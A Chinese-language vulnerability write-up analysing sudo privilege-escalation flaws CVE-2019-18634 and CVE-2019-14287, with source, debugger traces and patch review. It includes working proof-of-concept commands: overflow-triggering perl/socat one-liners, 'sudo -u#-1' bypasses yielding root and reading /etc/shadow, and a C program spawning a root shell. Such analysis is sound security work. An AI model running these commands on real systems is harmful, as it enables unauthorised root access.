sudo 的全稱是“superuserdo”,它是Linux系統(tǒng)管理指令,允許用戶在不需要切換環(huán)境的前提下以其它用戶的權(quán)限運(yùn)行應(yīng)用程序或命令,通常是以 root 用戶身份運(yùn)行命令,以減少 root 用戶的登錄和管理時(shí)間,同時(shí)提高安全性。
sudo的存在可以使用戶以root權(quán)限執(zhí)行命令而不必知道root用戶的密碼,還可以通過(guò)策略給予用戶部分權(quán)限。但sudo中如果出現(xiàn)漏洞,可能會(huì)使獲取部分權(quán)限或沒(méi)有sudo權(quán)限的用戶提升至root權(quán)限。近日,蘋(píng)果公司的研究員 Joe Vennix 在 sudo 中再次發(fā)現(xiàn)了一個(gè)重要漏洞,可導(dǎo)致低權(quán)限用戶或惡意程序以管理員(根)權(quán)限在 Linux 或 macOS 系統(tǒng)上執(zhí)行任意命令。奇安信CERT漏洞監(jiān)測(cè)平臺(tái)顯示,該漏洞熱度從2月4號(hào)起迅速上升,占據(jù)2月第一周漏洞熱度排行榜第一位。sudo在去年10月份被曝出的漏洞也是由Vennix發(fā)現(xiàn)的,該漏洞為sudo安全策略繞過(guò)漏洞,可導(dǎo)致惡意用戶或程序在目標(biāo) Linux 系統(tǒng)上以 root 身份執(zhí)行命令。該漏洞在去年10月份的熱度也很高。然后再早一些就是17年5月30日曝出的sudo本地提權(quán)漏洞,本地攻擊者可利用該漏洞覆蓋文件系統(tǒng)上的任何文件,從而獲取root權(quán)限。下面來(lái)回顧一下這些漏洞:
| 漏洞編號(hào) | 漏洞危害 | 漏洞類型 | POC公開(kāi) | 需要密碼 | 常規(guī)配置 | 利用難度 |
|---|---|---|---|---|---|---|
| CVE-2019-18634 | 權(quán)限提升 | 緩沖區(qū)溢出 | 是 | 否 | 否 | 低 |
| CVE-2019-14287 | 權(quán)限提升 | 策略繞過(guò) | 是 | 是 | 否 | 中 |
| CVE-2017-1000367 | 任意文件讀寫(xiě)&&權(quán)限提升 | 邏輯缺陷 | 是 | 是 | 是 | 中 |
CVE-2019-18634 sudo pwfeedback 本地提權(quán)漏洞
漏洞簡(jiǎn)訊
近日,蘋(píng)果公司的研究員 Joe Vennix 在 sudo 中再次發(fā)現(xiàn)了一個(gè)重要漏洞,該漏洞依賴于某種特定配置,可導(dǎo)致低權(quán)限用戶或惡意程序以管理員(根)權(quán)限在 Linux 或 macOS 系統(tǒng)上執(zhí)行任意命令。
Vennix指出,只有sudoers 配置文件中設(shè)置了“pwfeedback”選項(xiàng)時(shí),才能利用該漏洞;當(dāng)用戶在終端輸入密碼時(shí), pwfeedback 功能會(huì)給出一個(gè)可視的反饋即星號(hào) (*)。
需要注意的是,pwfeedback功能在 sudo 或很多其它包的上游版本中并非默認(rèn)啟用。然而,某些 Linux 發(fā)行版本,如 Linux Mint 和 Elementary OS, 在 sudoers 文件中默認(rèn)啟用了該功能。
此外,當(dāng)啟用 pwfeedback 功能時(shí),任何用戶都可利用該漏洞,無(wú) sudo 許可的用戶也不例外。
影響范圍
Linux Mint 和 Elementary OS系統(tǒng)以及其它Linux、macOS系統(tǒng)下配置了pwfeedback選項(xiàng)的以下sudo版本受此漏洞影響:
1.7.1 <= sudo version < 1.8.31
需要注意的是,該漏洞影響sudo 1.8.31之前版本,但由于從sudo 1.8.26 版本開(kāi)始引入了EOF 處理,sudo_term_eof和sudo_term_kill都被初始化為0,sudo_term_eof總是先被處理,因而使用‘\x00’字符不再會(huì)進(jìn)入漏洞流程。但使用pty時(shí),sudo_term_eof和sudo_term_kill分別被初始化為0x4和0x15,因而可使用pty在這些版本上進(jìn)行利用。用戶可升級(jí)至最新版本1.8.31。
檢測(cè)方法
1、查看sudo是否配置了pwfeedback選項(xiàng),如果輸出中出現(xiàn)“pwfeedback”則代表配置了該選項(xiàng),需要在/etc/sudoers中找到它并刪除:
strawberry@ubuntu:~$ sudo -l
Matching Defaults entries for strawberry on ubuntu:
env_reset, pwfeedback, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User strawberry may run the following commands on ubuntu:
(ALL : ALL) ALL
2、低于1.8.26版本的sudo也可以通過(guò)以下命令進(jìn)行檢測(cè),如果出現(xiàn)Segmentation fault就代表存在漏洞:
strawberry@ubuntu:~$ perl -e 'print(("A" x 100 . "\x{00}") x 50)' | sudo -S id
[sudo] password for strawberry: Segmentation fault (core dumped)
3、低于1.8.31版本的sudo也可通過(guò)以下命令進(jìn)行檢測(cè):
strawberry@ubuntu:~$ socat pty,link=/tmp/pty,waitslave exec:"perl -e 'print((\"A\" x 100 . chr(0x15)) x 50)'" &
[4] 82553
strawberry@ubuntu:~$ sudo -S id < /tmp/pty
[sudo] password for strawberry: Segmentation fault (core dumped)
漏洞分析
首先說(shuō)一下,這是在Ubuntu上進(jìn)行復(fù)現(xiàn)分析的,sudo版本為1.8.21p1。pwfeedback不是sudo的默認(rèn)配置,因而需要向/etc/sudoers文件中加入pwfeedback,開(kāi)啟此功能的sudo在用戶輸入密碼時(shí)會(huì)逐位顯示*號(hào):
Defaults env_reset,pwfeedback
使用上面的第一個(gè)POC對(duì)sudo進(jìn)行調(diào)試分析:直接運(yùn)行程序,發(fā)現(xiàn)其崩在getln函數(shù)內(nèi)部,原因是無(wú)法訪問(wèn)0x560a0de9c000處的內(nèi)存。這里的cp是指向buf的指針,通過(guò)*cp++向該緩沖區(qū)中寫(xiě)入數(shù)據(jù)。此時(shí)buf的長(zhǎng)度為3392,顯然是在寫(xiě)入數(shù)據(jù)的過(guò)程中訪問(wèn)了無(wú)法訪問(wèn)的內(nèi)存而崩潰的。另外,buf位于bss段(大小為0x100),所以也不是傳說(shuō)中的棧溢出。
→ 0x560a0dc90298 <getln.constprop+376> mov BYTE PTR [r15], dl
0x560a0dc9029b <getln.constprop+379> add r15, 0x1
0x560a0dc9029f <getln.constprop+383> mov QWORD PTR [rsp+0x8], r14
0x560a0dc902a4 <getln.constprop+388> sub r14, 0x1
0x560a0dc902a8 <getln.constprop+392> test r14, r14
0x560a0dc902ab <getln.constprop+395> jne 0x560a0dc90188 <getln+104>
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── source:./tgetpass.c+334 ────
329 }
330 continue;
331 }
332 ignore_result(write(fd, "*", 1));
333 }
→ 334 *cp++ = c;
335 }
336 *cp = '\0';
337 if (feedback) {
338 /* erase stars */
339 while (cp > buf) {
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sudo", stopped 0x560a0dc90298 in getln (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x560a0dc90298 → getln(fd=0x0, buf=0x560a0de9b2c0 <buf> 'A' <repeats 3392 times><error: Cannot access memory at address 0x560a0de9c000>, feedback=0x8, bufsiz=0x100)
下面我們來(lái)看一下,為什么可以向buf中復(fù)制超出邊界的數(shù)據(jù)。有一個(gè)要點(diǎn)是只有開(kāi)啟了pwfeedback選項(xiàng)的程序才會(huì)存在此漏洞,還有就是POC中每100個(gè)A后面跟一個(gè)\x00。來(lái)~上前面代碼:
static char * getln(int fd, char *buf, size_t bufsiz, int feedback)
{
size_t left = bufsiz;
ssize_t nr = -1;
char *cp = buf;
char c = '\0';
debug_decl(getln, SUDO_DEBUG_CONV)
if (left == 0) {
errno = EINVAL;
debug_return_str(NULL); /* sanity */
}
while (--left) {
nr = read(fd, &c, 1);
if (nr != 1 || c == '\n' || c == '\r')
break;
if (feedback) {
if (c == sudo_term_kill) {
while (cp > buf) {
if (write(fd, "\b \b", 3) == -1)
break;
--cp;
}
left = bufsiz;
continue;
} else if (c == sudo_term_erase) {
if (cp > buf) {
if (write(fd, "\b \b", 3) == -1)
break;
--cp;
left++;
}
continue;
}
ignore_result(write(fd, "*", 1));
}
*cp++ = c;
}
...
if語(yǔ)句中的feedback和pwfeedback選項(xiàng)是否開(kāi)啟相關(guān),假設(shè)沒(méi)有開(kāi)啟,會(huì)依次從用戶輸入中讀取一個(gè)字節(jié)c,然后執(zhí)行*cp++ = c,cp指向了buf,這樣就會(huì)將用戶輸入的密碼依次寫(xiě)入buf,由于left控制循環(huán)次數(shù),left為bufsiz,大小為0x100(如下所示),所以最多只能復(fù)制0xFF字節(jié)(最后一位為\x00),因此未開(kāi)啟pwfeedback選項(xiàng)的程序不會(huì)溢出。
.text:000000000001EEEC mov eax, [rbp+input]
.text:000000000001EEF2 mov ecx, edx ; feedback
.text:000000000001EEF4 mov edx, 100h ; bufsiz
.text:000000000001EEF9 lea rsi, buf_5295 ; buf
.text:000000000001EF00 mov edi, eax ; fd
.text:000000000001EF02 call getln
注意到sudo_term_kill這個(gè)條件判斷,如果程序開(kāi)啟了pwfeedback選項(xiàng),會(huì)先比較讀入的c是否等于sudo_term_kill,經(jīng)過(guò)調(diào)試可知這個(gè)值為0。所以POC中每100個(gè)A后面跟的\x00作用就在這里了,可以使程序進(jìn)入這個(gè)流程,由于fd為單向管道,所以write(fd, "\b \b", 3) 總是返回-1,這樣就會(huì)直接跳出循環(huán),因而cp還是指向之前的地方。緊接著執(zhí)行重要的兩句是left = bufsiz和continue,可以將left重新置為0x100,然后跳出本次循環(huán)。因而只要在小于0xFF的數(shù)據(jù)之間連接\x00就可以不斷向buf中寫(xiě)入數(shù)據(jù),超出buf范圍,直到訪問(wèn)到不可讀內(nèi)存觸發(fā)異常。
if (feedback) {
if (c == sudo_term_kill) {
while (cp > buf) {
if (write(fd, "\b \b", 3) == -1)
break;
--cp;
}
left = bufsiz;
continue;
}
1.8.26 至1.8.30 版本的sudo加入了sudo_term_eof的條件判斷,如果讀取的字符為\x00就結(jié)束循環(huán),這使得\x00這個(gè)橋梁不再起作用。
if (feedback) {
if (c == sudo_term_eof) {
nr = 0;
break;
} else if (c == sudo_term_kill) {
while (cp > buf) {
if (write(fd, "\b \b", 3) == -1)
break;
--cp;
}
left = bufsiz;
continue;
}
但如果使用了pty,sudo_term_eof和sudo_term_kill分別被初始化為0x4和0x15,這樣\x15又可以成為新的橋梁。
Breakpoint 1, getln (fd=0x0, buf=0x55a4f1d534e0 <buf> "", feedback=0x8, errval=0x7fff1c5b8acc, bufsiz=0x100) at ./tgetpass.c:376
376 getln(int fd, char *buf, size_t bufsiz, int feedback,
gef? p sudo_term_eof
$1 = 0x4
gef? p sudo_term_kill
$2 = 0x15
gef? p sudo_term_erase
$4 = 0x7f
下面是修補(bǔ)后的函數(shù)流程,這里最后將cp又重新指向buf,這樣又可以通過(guò)bufsiz控制循環(huán)了,\x15的作用就只是重置本次密碼讀取了。
if (feedback) {
if (c == sudo_term_eof) {
nr = 0;
break;
} else if (c == sudo_term_kill) {
while (cp > buf) {
if (write(fd, "\b \b", 3) == -1)
break;
cp--;
}
cp = buf;
left = bufsiz;
continue;
}
漏洞利用
1、user_details覆蓋
前面分析的時(shí)候可知,buf位于bss段,其后面存在以下數(shù)據(jù)結(jié)構(gòu):
buffer 256
askpass 32
signo 260
tgetpass_flags 28
user_details 104
其中,user_details位于buf偏移0x240處,其偏移0x14處為用戶的uid(這里為0x3e8,十進(jìn)制為1000,即用戶strawberry的id):
gef? x/26wx &user_details
0x562eb2410500 <user_details>: 0x00015c5e 0x00015c57 0x00015c5e 0x00015c5e
0x562eb2410510 <user_details+16>: 0x00015c4a 0x000003e8 0x00000000 0x000003e8
0x562eb2410520 <user_details+32>: 0x000003e8 0x00000000 0xb3f39605 0x0000562e
0x562eb2410530 <user_details+48>: 0xb3f39894 0x0000562e 0xb3f398d4 0x0000562e
0x562eb2410540 <user_details+64>: 0xb3f39945 0x0000562e 0xb3f39620 0x0000562e
0x562eb2410550 <user_details+80>: 0xb3f397d0 0x0000562e 0x00000008 0x0000009f
0x562eb2410560 <user_details+96>: 0x00000033 0x00000000
gef? p user_details
$3 = {
pid = 0x15c5e,
ppid = 0x15c57,
pgid = 0x15c5e,
tcpgid = 0x15c5e,
sid = 0x15c4a,
uid = 0x3e8,
euid = 0x0,
gid = 0x3e8,
egid = 0x3e8,
username = 0x562eb3f39605 "strawberry",
cwd = 0x562eb3f39894 "/home/strawberry/Desktop/sudo-SUDO_1_8_21p1/build2",
tty = 0x562eb3f398d4 "/dev/pts/2",
host = 0x562eb3f39945 "ubuntu",
shell = 0x562eb3f39620 "/bin/bash",
groups = 0x562eb3f397d0,
ngroups = 0x8,
ts_cols = 0x9f,
ts_lines = 0x33
}
測(cè)試:在sudo運(yùn)行的過(guò)程中將uid的值改為0,那用戶就可以獲取root權(quán)限。因而我們需要想辦法利用溢出將其uid覆蓋為0。
Hardware access (read/write) watchpoint 2: *0x56234e1d5514
Old value = 0x0
New value = 0x3e8
get_user_info (ud=0x56234e1d5500 <user_details>) at ./sudo.c:517
517 ud->euid = geteuid();
gef? set ud->uid = 0
gef? c
Continuing.
process 89879 is executing new program: /usr/bin/id
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),1000(strawberry)
如果想通過(guò)buf將數(shù)據(jù)覆蓋到user_details,中間必須經(jīng)過(guò)signo。而在getln函數(shù)執(zhí)行完成后會(huì)返回到tgetpass函數(shù)中,如果signo結(jié)構(gòu)中的某些值不為0,那程序就存在被kill掉的風(fēng)險(xiǎn)。如果采用第一種驗(yàn)證思路,使用“\x00”作為橋梁,就不可能將0寫(xiě)入signo結(jié)構(gòu)中,更不能將uid覆蓋為0,我和我的小伙伴們就在這里卡住了。
for (i = 0; i < NSIG; i++) {
if (signo[i]) {
switch (i) {
case SIGALRM:
break;
case SIGTSTP:
case SIGTTIN:
case SIGTTOU:
if (suspend(i, callback) == 0)
need_restart = true;
break;
default:
kill(getpid(), i);
break;
}
}
}
幸運(yùn)的是,第二天看到了關(guān)于漏洞的補(bǔ)充說(shuō)明。然而,這調(diào)試有點(diǎn)難度,調(diào)試的時(shí)候在讀取密碼上總是返回0。不過(guò),只是想覆蓋user_details而已,我可以使用“\x15”作為橋梁向sudo輸送5000個(gè)0嘛(偷個(gè)懶),程序肯定收到SIGSEGV信號(hào),這時(shí)候再看uid是否被覆蓋就可以了。uid被成功覆蓋為0。
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sudo", stopped 0x563f1d558298 in getln (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────
getln (fd=fd@entry=0x0, buf=buf@entry=0x563f1d7632c0 <buf> "", feedback=feedback@entry=0x8, bufsiz=0x100) at ./tgetpass.c:334
334 *cp++ = c;
gef? p user_details
$1 = {
pid = 0x0,
ppid = 0x0,
pgid = 0x0,
tcpgid = 0x0,
sid = 0x0,
uid = 0x0,
euid = 0x0,
gid = 0x0,
egid = 0x0,
username = 0x0,
cwd = 0x0,
tty = 0x0,
host = 0x0,
shell = 0x0,
groups = 0x0,
ngroups = 0x0,
ts_cols = 0x0,
ts_lines = 0x0
}
2、SUDO_ASKPASS設(shè)置
然后把數(shù)據(jù)量變小,使其可以覆蓋到user_details,又不會(huì)使程序崩潰。出現(xiàn)了如下結(jié)果,提示沒(méi)有指定輸入方式,第一次使用了標(biāo)準(zhǔn)輸入,當(dāng)sudo檢查密碼錯(cuò)了之后會(huì)提示再次輸入,正常情況下是不會(huì)有問(wèn)題的,可能是因?yàn)閯偛艑⒛硞€(gè)值覆蓋為0了:
strawberry@ubuntu:~/Desktop/sudo-SUDO_1_8_21p1/build2/bin$ ./sudo -S id < /tmp/pty
Password:
Sorry, try again.
sudo: no tty present and no askpass program specified
sudo: 1 incorrect password attempt
這篇文章中提到了SUDO_ASKPASS的使用,很妙~ 首先使用pty設(shè)置密碼,通過(guò)溢出將uid設(shè)置為0,并且將密碼讀取方式改為ASKPASS。這樣在后面的循環(huán)中就會(huì)使用指定的SUDO_ASKPASS程序,并將其uid設(shè)置為0。當(dāng)然,ASKPASS環(huán)境變量是提前設(shè)置好的。關(guān)鍵的一點(diǎn)是要將我之前設(shè)置為0的tgetpass_flags設(shè)置為4。最后簡(jiǎn)單提一下SUDO_ASKPASS程序里的內(nèi)容,最關(guān)鍵的就是 set uid 并執(zhí)行shell了。這樣執(zhí)行SUDO_ASKPASS程序就可以獲取root shell。
/*
* Flags for tgetpass()
*/
#define TGP_NOECHO 0x00 /* turn echo off reading pw (default) */
#define TGP_ECHO 0x01 /* leave echo on when reading passwd */
#define TGP_STDIN 0x02 /* read from stdin, not /dev/tty */
#define TGP_ASKPASS 0x04 /* read from askpass helper program */
#define TGP_MASK 0x08 /* mask user input when reading */
#define TGP_NOECHO_TRY 0x10 /* turn off echo if possible */
科普:上面是tgetpass各個(gè)flag的宏定義,其中ASKPASS值為4,STDIN值為2,分別對(duì)應(yīng)了 -A 和 -S 選項(xiàng)。
→ 507 if (ISSET(tgetpass_flags, TGP_STDIN) && ISSET(tgetpass_flags, TGP_ASKPASS)) {
508 sudo_warnx(U_("the `-A' and `-S' options may not be used together"));
509 usage(1);
510 }
3、漏洞復(fù)現(xiàn)
使用有sudo權(quán)限的用戶進(jìn)行測(cè)試,成功獲取root權(quán)限。
strawberry@ubuntu:~/Desktop$ sh exp_test.sh
[sudo] password for strawberry:
Sorry, try again.
Sorry, try again.
sudo: 2 incorrect password attempts
Exploiting!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@ubuntu:/home/strawberry/Desktop# id
uid=0(root) gid=1000(strawberry) groups=1000(strawberry),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
使用沒(méi)有sudo權(quán)限的testtest用戶進(jìn)行測(cè)試,成功獲取root權(quán)限。
testtest@ubuntu:~$ sh exp_test.sh
[sudo] password for testtest:
Sorry, try again.
Sorry, try again.
sudo: 2 incorrect password attempts
Exploiting!
root@ubuntu:/home/testtest# id
uid=0(root) gid=1001(testtest) groups=1001(testtest)
漏洞總結(jié)
當(dāng)sudo配置了“pwfeedback”選項(xiàng)時(shí),如果用戶通過(guò)管道等方式傳入密碼,sudo會(huì)在一定范圍內(nèi)判斷密碼中是否存在sudo_term_kill,如果存在,則重置復(fù)制長(zhǎng)度,但指向緩沖區(qū)的指針沒(méi)有歸到原位,用戶可發(fā)送帶有sudo_term_kill字符的超長(zhǎng)密碼來(lái)觸發(fā)此緩沖區(qū)溢出漏洞。攻擊者可利用特制的超長(zhǎng)密碼覆蓋位于密碼存儲(chǔ)緩沖區(qū)后面的user_details結(jié)構(gòu),從而獲取root權(quán)限。
參考文章
https://www.openwall.com/lists/oss-security/2020/01/30/6
https://securityaffairs.co/wordpress/97265/breaking-news/sudo-cve-2019-18634-flaw.html
https://mp.weixin.qq.com/s/QUyh3mSuw1aZ4CVjx7Lzfw
https://www.sudo.ws/alerts/pwfeedback.html
https://dylankatz.com/Analysis-of-CVE-2019-18634/
CVE-2019-14287 sudo 權(quán)限繞過(guò)漏洞
漏洞簡(jiǎn)訊
2019年10月14日,sudo曝出權(quán)限繞過(guò)漏洞,漏洞編號(hào)為CVE-2019-14287。該漏洞也是由蘋(píng)果公司的研究員 Joe Vennix發(fā)現(xiàn)的,可導(dǎo)致惡意用戶或程序在目標(biāo) Linux 系統(tǒng)上以 root 身份執(zhí)行命令。不過(guò)此漏洞僅影響sudo的特定非默認(rèn)配置,典型的配置如下所示:
someuser myhost =(ALL, !root)/usr/bin/somecommand
此配置允許用戶“someuser”以除root外的任何其他用戶身份運(yùn)行somecommand?!皊omeuser”可使用ID來(lái)指定目標(biāo)用戶,并以該用戶的身份來(lái)運(yùn)行指定命令。但由于漏洞的存在,“someuser”可指定ID為-1或4294967295,從而以root用戶身份來(lái)運(yùn)行somecommand。以這種方式運(yùn)行的命令的日志項(xiàng)將目標(biāo)用戶記錄為4294967295,而不是root。此外,在這個(gè)過(guò)程中,PAM會(huì)話模塊將不會(huì)運(yùn)行。
另外,sudo的其他配置,如允許用戶以任何用戶身份運(yùn)行命令的配置(包括root用戶),或允許用戶以特定其他用戶身份運(yùn)行命令的配置均不受此漏洞影響。
影響范圍
1.8.28版本之前且具有特定配置的sudo受此漏洞影響
檢測(cè)方法
檢查/etc/sudoers文件中是否存在以下幾種配置,如果存在建議刪除該配置或升級(jí)到1.8.28及之后版本:
1. someuser ALL=(ALL, !root) /usr/bin/somecommand
2. someuser ALL=(ALL, !#0) /usr/bin/somecommand
3. Runas_Alias MYGROUP = root, adminuser
someuser ALL=(ALL, !MYGROUP) /usr/bin/somecommand
漏洞復(fù)現(xiàn)
這個(gè)漏洞復(fù)現(xiàn)比較簡(jiǎn)單,所以先復(fù)現(xiàn)再分析吧~ 首先要配置漏洞環(huán)境來(lái)進(jìn)行測(cè)試,在此之前添加一個(gè)測(cè)試賬戶testtest,另外,sudo 版本依然為1.8.21p1。然后在/etc/sudoers文件中加入testtest ALL=(ALL, !root) /usr/bin/id,這樣允許testtest用戶可以以除了root用戶之外的任意用戶的身份來(lái)運(yùn)行id命令。
正常情況下,testtest用戶可以直接執(zhí)行id命令,也可以用其它用戶身份(除root外)執(zhí)行id命令。
testtest@ubuntu:/home/strawberry$ id
uid=1001(testtest) gid=1001(testtest) groups=1001(testtest)
testtest@ubuntu:/home/strawberry$ sudo -u#1111 id
[sudo] password for testtest:
uid=1111 gid=1001(testtest) groups=1001(testtest)
testtest@ubuntu:/home/strawberry$ sudo -u root id
Sorry, user testtest is not allowed to execute '/usr/bin/id' as root on ubuntu.
testtest@ubuntu:/home/strawberry$ sudo -u#0 id
Sorry, user testtest is not allowed to execute '/usr/bin/id' as root on ubuntu.
而如果testtest用戶指定以ID為-1或4294967295的用戶來(lái)運(yùn)行id命令,則會(huì)以root權(quán)限來(lái)運(yùn)行。這是因?yàn)?sudo命令本身就已經(jīng)以用戶 ID 為0 運(yùn)行,因此當(dāng) sudo 試圖將用戶 ID 修改成 -1時(shí),不會(huì)發(fā)生任何變化。并且 sudo 日志條目將該命令報(bào)告為以用戶 ID 為 4294967295而非 root 運(yùn)行命令。此外,由于通過(guò)–u 選項(xiàng)指定的用戶 ID 并不存在于密碼數(shù)據(jù)庫(kù)中,因此不會(huì)運(yùn)行任何 PAM 會(huì)話模塊。
testtest@ubuntu:/home/strawberry$ sudo -u#-1 id
uid=0(root) gid=1001(testtest) groups=1001(testtest)
testtest@ubuntu:/home/strawberry$ sudo -u#4294967295 id
uid=0(root) gid=1001(testtest) groups=1001(testtest)
另外,如果文件中配置了testtest ALL=(ALL, !root) /usr/bin/vi這種語(yǔ)句,可能使該用戶獲取使用機(jī)密文件的權(quán)限,如/etc/shadow。如果配置了testtest ALL=(ALL, !root) ALL,testtest用戶將會(huì)獲得root權(quán)限(這種配置應(yīng)該很少出現(xiàn)的吧):
testtest@ubuntu:/home/strawberry$ sudo -u#-1 sh
[sudo] password for testtest:
# id
uid=0(root) gid=1001(testtest) groups=1001(testtest)
# cat /etc/shadow
root:!:18283:0:99999:7:::
daemon:*:18113:0:99999:7:::
bin:*:18113:0:99999:7:::
sys:*:18113:0:99999:7:::
...
漏洞分析
從漏洞補(bǔ)丁中尋找關(guān)于-1的處理改動(dòng),下面這兩段代碼位于lib/util/strtoid.c中的sudo_strtoid_v1 函數(shù)(分別為處理64位和32位的兩個(gè)函數(shù)),補(bǔ)丁加入了對(duì) -1 和 UINT_MAX(4294967295)的判斷,如果不是才會(huì)放行。


在command_info_to_details中,通過(guò)調(diào)用sudo_strtoid_v1函數(shù)獲取用戶指定id,并存入details->uid中。
743 if (strncmp("runas_uid=", info[i], sizeof("runas_uid=") - 1) == 0) {
744 cp = info[i] + sizeof("runas_uid=") - 1;
745 id = sudo_strtoid(cp, NULL, NULL, &errstr);
746 if (errstr != NULL)
747 sudo_fatalx(U_("%s: %s"), info[i], U_(errstr));
748 details->uid = (uid_t)id;
// details=0x00007fff2110e4e0 → [...] → 0x00000000ffffffff
→ 749 SET(details->flags, CD_SET_UID);
750 break;
751 }
752 #ifdef HAVE_PRIV_SET
753 if (strncmp("runas_privs=", info[i], sizeof("runas_privs=") - 1) == 0) {
754 const char *endp;
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sudo", stopped 0x564bb9b02e61 in command_info_to_details (), reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x564bb9b02e61 → command_info_to_details(info=0x564bba8aaba0, details=0x564bb9d140c0 <command_details>)
[#1] 0x564bb9b00653 → main(argc=0x3, argv=0x7fff2110e7d8, envp=0x7fff2110e7f8)
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
749 SET(details->flags, CD_SET_UID);
1: *details = {
uid = 0xffffffff,
euid = 0x0,
gid = 0x0,
egid = 0x0,
...
然后使用details->uid賦值details->euid,此時(shí)結(jié)構(gòu)中的uid和euid均為0xffffffff。
808 if (!ISSET(details->flags, CD_SET_EUID))
809 details->euid = details->uid;
// details=0x00007fff2110e4e0 → [...] → 0xffffffffffffffff
→ 810 if (!ISSET(details->flags, CD_SET_EGID))
811 details->egid = details->gid;
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sudo", stopped 0x564bb9b03741 in command_info_to_details (), reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x564bb9b03741 → command_info_to_details(info=0x564bba8aaba0, details=0x564bb9d140c0 <command_details>)
[#1] 0x564bb9b00653 → main(argc=0x3, argv=0x7fff2110e7d8, envp=0x7fff2110e7f8)
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
810 if (!ISSET(details->flags, CD_SET_EGID))
1: *details = {
uid = 0xffffffff,
euid = 0xffffffff,
...
調(diào)試發(fā)現(xiàn),在main函數(shù)中,程序先使用setuid(ROOT_UID)將uid設(shè)置為0,然后執(zhí)行run_command(&command_details),然后依次執(zhí)行sudo_execute -> exec_cmnd -> exec_setup。PS:這里的command_details就是command_info_to_details中保存的details。
286 if (ISSET(sudo_mode, MODE_BACKGROUND))
287 SET(command_details.flags, CD_BACKGROUND);
288 /* Become full root (not just setuid) so user cannot kill us. */
289 if (setuid(ROOT_UID) == -1)
290 sudo_warn("setuid(%d)", ROOT_UID);
→ 291 if (ISSET(command_details.flags, CD_SUDOEDIT)) {
292 status = sudo_edit(&command_details);
293 } else {
294 status = run_command(&command_details);
295 }
296 /* The close method was called by sudo_edit/run_command. */
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sudo", stopped 0x55fb48d3d707 in main (), reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x55fb48d3d707 → main(argc=0x3, argv=0x7ffdc681cd08, envp=0x7ffdc681cd28)
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
291 if (ISSET(command_details.flags, CD_SUDOEDIT)) {
gef? p command_details
$3 = {
uid = 0xffffffff,
euid = 0xffffffff,
gid = 0x3e8,
egid = 0x3e8,
...
在exec_setup函數(shù)中存在如下語(yǔ)句,程序會(huì)使用details結(jié)構(gòu)中的uid信息來(lái)設(shè)置uid,在調(diào)試環(huán)境下使用的是setresuid函數(shù)(第一個(gè)),它可以設(shè)置用戶的uid、euid和suid,但如果某個(gè)參數(shù)為-1,就不會(huì)改變?cè)搮?shù)對(duì)應(yīng)的id值。然而details->uid和details->euid均為-1。
#if defined(HAVE_SETRESUID)
if (setresuid(details->uid, details->euid, details->euid) != 0) {
sudo_warn(U_("unable to change to runas uid (%u, %u)"),
(unsigned int)details->uid, (unsigned int)details->euid);
goto done;
}
#elif defined(HAVE_SETREUID)
if (setreuid(details->uid, details->euid) != 0) {
sudo_warn(U_("unable to change to runas uid (%u, %u)"),
(unsigned int)details->uid, (unsigned int)details->euid);
goto done;
}
#else
/* Cannot support real user ID that is different from effective user ID. */
if (setuid(details->euid) != 0) {
sudo_warn(U_("unable to change to runas uid (%u, %u)"),
(unsigned int)details->euid, (unsigned int)details->euid);
goto done;
測(cè)試:編譯如下測(cè)試程序,并賦予其與sudo相同的權(quán)限,以便模擬sudo程序中先執(zhí)行setuid(0),然后再執(zhí)行setresuid(-1, -1, -1)的場(chǎng)景。使用testtest用戶運(yùn)行該程序,成功獲取root權(quán)限。PS:如果你設(shè)置的id為1234的話,程序就會(huì)執(zhí)行setresuid(0x4d2, 0x4d2, 0x4d2),這樣你的uid就被設(shè)置為1234了。
include <stdio.h>
int main() {
setuid(0);
setresuid(-1, -1, -1);
execve("/bin/bash",NULL,NULL);
return 0;
}
testtest@ubuntu:/home/strawberry/Desktop$ ./testid
root@ubuntu:/home/strawberry/Desktop# id
uid=0(root) gid=1001(testtest) groups=1001(testtest)
root@ubuntu:/home/strawberry/Desktop# cat /etc/shadow
root:!:18283:0:99999:7:::
daemon:*:18113:0:99999:7:::
bin:*:18113:0:99999:7:::
sys:*:18113:0:99999:7:::
...
漏洞總結(jié)
sudo在配置了類似于testtest ALL=(ALL, !root) /usr/bin/id語(yǔ)句后,存在一個(gè)權(quán)限繞過(guò)漏洞。程序首先會(huì)通過(guò)setuid(0)將uid設(shè)置為0,然后執(zhí)行setresuid(id, id, id)將uid等設(shè)置為id的值,id可為testtest用戶指定的任意值。當(dāng)id為-1(4294967295)時(shí),setresuid不改變uid、euid和suid中的任何一個(gè),因而用戶的uid還是為0,可以達(dá)到權(quán)限提升的效果,但這一步在輸入正確密碼之后,因而攻擊者還需獲取賬戶密碼,再加上這種配置,也是比較困難的。
